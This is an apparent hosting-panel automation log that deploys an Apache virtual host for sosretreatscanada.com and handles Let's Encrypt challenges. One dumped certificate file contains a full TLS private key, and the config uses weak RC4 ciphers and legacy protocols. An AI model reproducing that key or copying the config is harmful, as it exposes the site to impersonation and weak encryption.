ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:01:34:
PUT: /tmp/pkp717149
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi
2025-12-01 06:01:34:
chmod 755 /tmp/pkp717149; /tmp/pkp717149; rm /tmp/pkp717149
2025-12-01 06:01:34:
2025-12-01 06:01:34:
PUT: /tmp/pkp743436
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-01 06:01:34:
chmod 755 /tmp/pkp743436; /tmp/pkp743436; rm /tmp/pkp743436
2025-12-01 06:01:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:01:34: Establishing a connection
2025-12-01 06:01:34:
PUT: /tmp/pkp367560
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-01 06:01:34:
chmod 755 /tmp/pkp367560; /tmp/pkp367560; rm /tmp/pkp367560
2025-12-01 06:01:34:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:01:34:
PUT: /tmp/pkp384927
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:01:34:
chmod 755 /tmp/pkp384927; /tmp/pkp384927; rm /tmp/pkp384927
2025-12-01 06:01:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf 1691
<VirtualHost *:80>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName sosretreatscanada.com
ServerAlias sosretreats.ca www.sosretreats.ca
ServerAlias www.sosretreatscanada.com
ServerAlias sosretreatscanada.ca www.sosretreatscanada.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
DocumentRoot /var/www/sosretreatscanada_www
<Directory /var/www/sosretreatscanada_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/sosretreatscanada/www_secure_access.log combined
ErrorLog /var/log/apache2/sosretreatscanada/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-01 06:01:34:
PUT: /tmp/pkp719362
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:01:34:
chmod 755 /tmp/pkp719362; /tmp/pkp719362; rm /tmp/pkp719362
2025-12-01 06:01:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt 5519
96:98:61:00:9d:23:1b:84:4e:10:66:13:d7:f0:95:d1
-----BEGIN CERTIFICATE-----
MIIFdzCCBF+gAwIBAgISBplb+CNpsZSlF47y6TJtcYEPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMzAwWhcNMjYwMzAxMDUwMjU5WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZVLGnrn9gFrCfs+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMF
QoNeXU0sjobdXDpW8APbmI/d2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz
9ie659OQE3Empk8WU5C7kmIWYBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9V
kJSVveguAAuCWczMPr9tmXe9ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoC
lXU6JybkHNtMpP+/dZb84aSy61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+
MglC83b+AO06SNLT1IOP6FZOg+P9MWk1AgMBAAGjggKWMIICkjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCXuJQVZGBZ3XOF+zZv1qyIqE8kWMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGa2IB9UgAABAMARjBEAiB82keg5dMcDdZfNizPAujOwwyd
QlbbcTYsfeoNE1u8BwIgGzhm0HltEEnEgJz7c+xCuE4QP26PZWN7az3buv3FcUEA
dgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZrYgIUkAAAEAwBH
MEUCIQDkjz/uNqzUJzJx2FFo9h8bCW7ZppoarpGbGeeYQcgXjQIgV6Mu+eAueQhf
/a86Wf0kExFmm2MrmzPRP1ooI6/TcPgwDQYJKoZIhvcNAQELBQADggEBADkFiR8W
pQ1miPsqZS9un73zzbYKITel5w/8q/pDg7URu3Rm7Nb3A9kUotlxnaqiIxki3KWD
wOQb7SOWdsVXDoVh0RY7TyYYO9P7e/+x/V7fqYvq3CSrh2WG2e0fHLa6Pz3hGVk3
SAg0YQcyP+O8LY9iCPDwgnseaosiLm0Jvhrz3uIRikTAWek7rUqDCS4h3RCL6D2b
630RHYHiKqX0YugvOuHMCrPqIq7rBtemiBphZKmytIfsDvuaq/tXrfD0++qY6NM9
lPqXrHlqTzDulNIDgg0sTyEQoLAFO+bkHzgeZczhwJSmDMN+tY6gWos8+PPPcMeZ
8LlGbG28XYgMwI8=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZVLGnrn9gFrCf
s+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMFQoNeXU0sjobdXDpW8APbmI/d
2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz9ie659OQE3Empk8WU5C7kmIW
YBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9VkJSVveguAAuCWczMPr9tmXe9
ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoClXU6JybkHNtMpP+/dZb84aSy
61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+MglC83b+AO06SNLT1IOP6FZO
g+P9MWk1AgMBAAECggEAPFPWPMWjdfjWbn5zJe8oHB5lHtLNw9LKRNp3SFseG0v/
jUgOahmvfPZJoRglJAksRqYjS560c3CV/u7XK4qbKLiqZnECh/DLOpsOOuA52t7v
5Jh+UcYgcHAT9z4C7Ct5bVEdAwWPV4H62FsyuQ/h2Tzq1cf72uN18OHJmObhk3+A
voUSKMyXO+YSOoQzMwdErPQ861r+jUGCCpGg5qOv/g7MUl3mczx8L/X8SUBR/oro
P98b4uaQ9ATxc7wWXE8buXwXPcc+96NHgHkXsGK46g0q546wtGpQ/I+ylFMUBDQt
gikskJgZyCQXIvcPr5GK8AlL9KeXQUKwhfhYu8jawQKBgQD0OC2jvBy+HPdpDkiY
tBB02cm8NM4E13/sKinrPtmsOMYjeLAoyMt7kKvRoH/T32uvvoSbfn80IQcY5JDO
PdwhLzZrR3Y5S3NFn5ct+kAbK2qkkXhUdRCS8ZidOf9dbR0vw3fj/g9vOjT7hirK
9ESRMssYPUx4b/xttcCaO22+/wKBgQDj0HkdNB+G1De0ahkHjO06gtYshDDe8fY0
uJAmyZIlS5ry6tASOiSODzaXOScWlrrf13ZznL7qh9yjIry0noVJMSKxX+1mQ7/j
o2s9/olgEq13AaZObXBJthe9Tc6Mm2nZEAvBvAXFxD5bxD1Dss8f5BUWtG1OxX6v
D4TwUAoLywKBgQC6ghTI0KaawgBoqNHkXM+cjZ61LxaPOAynzWOKFsuh7RHUkRzn
aMGNsmSliQ9WPXA+HR+kqKx4oSiMaDH2b+OnLClBMKgnBWoZJ9IK+OzwUu30lGvz
BBwOPJeyq1JMhUIe8gajhak/5pID7OjNalLbGJFmB5pY+B0to/pdTzl2/QKBgBy/
W+kxgKD0+qqLkOkBAZaWmAw6Cii4A8eXWqlqWkTWi5EHzIXgTGiYxtzCW4pgLui8
ObhRGU5jIpZ7dbCdKFiaGLSlVEHJXteM8aV7Dz7OXJFd5eyTps3Gaqx6uwvHOM4p
VjJ2VYwlPXE7DDgUwkpV78tTrU95YIkavj3M+9eNAoGAedrCw7hzsZmZMtfhqjkU
My5cfLbu2ikDFUmFA8fhTUmR0ACuOdO2eaCjgNBoMDd9LNItKGjjcLiG/MVzzC1a
1BgTn+HSEqx0QPthk2AuUd6iN8rS/zIgir/zxWJaeXGHwPNk0dHiRALnK75RzBjO
bZBQljie+3VCnA6sAQuulEI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-01 06:01:34: Establishing a connection
2025-12-01 06:01:36: Establishing a connection
2025-12-01 06:01:37:
PUT: /tmp/pkp607247
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-01 06:01:37:
chmod 755 /tmp/pkp607247; /tmp/pkp607247; rm /tmp/pkp607247
2025-12-01 06:01:38:
0
2025-12-02 06:00:02: Establishing a connection
2025-12-02 06:00:03: Establishing a connection
2025-12-02 06:00:05:
PUT: /tmp/pkp960557
#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-02 06:00:06:
chmod 755 /tmp/pkp960557; /tmp/pkp960557; rm /tmp/pkp960557
2025-12-02 06:00:06:
1
2025-12-02 06:00:07: Establishing a connection
2025-12-02 06:00:09:
PUT: /tmp/pkp553176
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4
cat > -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4
2025-12-02 06:00:10:
chmod 755 /tmp/pkp553176; /tmp/pkp553176; rm /tmp/pkp553176
2025-12-02 06:00:10:
chmod: invalid mode: ‘-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4’
Try 'chmod --help' for more information.
STDERR:
chmod: invalid mode: ‘-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4’
Try 'chmod --help' for more information.
2025-12-02 06:00:18: Establishing a connection
2025-12-02 06:00:19:
PUT: /tmp/pkp725021
#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4
rm -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4
2025-12-02 06:00:20:
chmod 755 /tmp/pkp725021; /tmp/pkp725021; rm /tmp/pkp725021
2025-12-02 06:00:20:
rm: invalid option -- '0'
Try 'rm ./-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4' to remove the file '-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4'.
Try 'rm --help' for more information.
STDERR:
rm: invalid option -- '0'
Try 'rm ./-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4' to remove the file '-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4'.
Try 'rm --help' for more information.
2025-12-02 06:00:20: Establishing a connection
2025-12-02 06:00:21:
PUT: /tmp/pkp355379
#!/bin/bash
temp_file=$(mktemp)
TARGET=ce22a54aea805c8590de46790a6979d7.crt
cat > $temp_file <<'endmsg'
3c:27:23:53:43:1c:87:de:9c:c9:ce:ad:3a:5b:24:db
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBZbkmi3uL+sUpriRuUZ/5NpRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMTQ3WhcNMjYwMzAyMDUwMTQ2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vT1DcRx+1kmH2dbfaRGJyrW2tcL0/266f0azFrCPqpLYcKUvU0sK8cYKSub44Zef
nEN2VJ9QhAzUXr09rcdiJGtbuK0tUGyjZJ3qRI+jcnSGN4w/4NiZx/9hQTP45xwV
ycQdykxPc4bJjVcqnLkOUWHa/4KIBNk+xPIjv4yPut/Q3fchE4gHpvhvyw6ZN/aI
XB+aHtZuTP9laCwAb26hGHXq0JYlWbDsDMk81elqS9CIeo8n2o2xFx4J97C5sSY9
a0dylQAusX1eiP3SA8/J0Z0LfObXAOHDmXm4cmoPbqQLHgueYfv6EVkLAAdg+pKb
xbvw7GvTFqWWk0hxFIbnswIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSejYx4Y1cqg7hD3ZoQmes4514PHjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
3aW8OQAABAMARzBFAiBhHXgC9IqHB8tZxU2v+g3qFQ0b8hR7rr5XL6MTwtedgwIh
AP29M/8B/5LrX0evRxq8yPOtZW8GD3cP+C7Ie1S/+o0qAHYADleUvPOuqT4zGyyZ
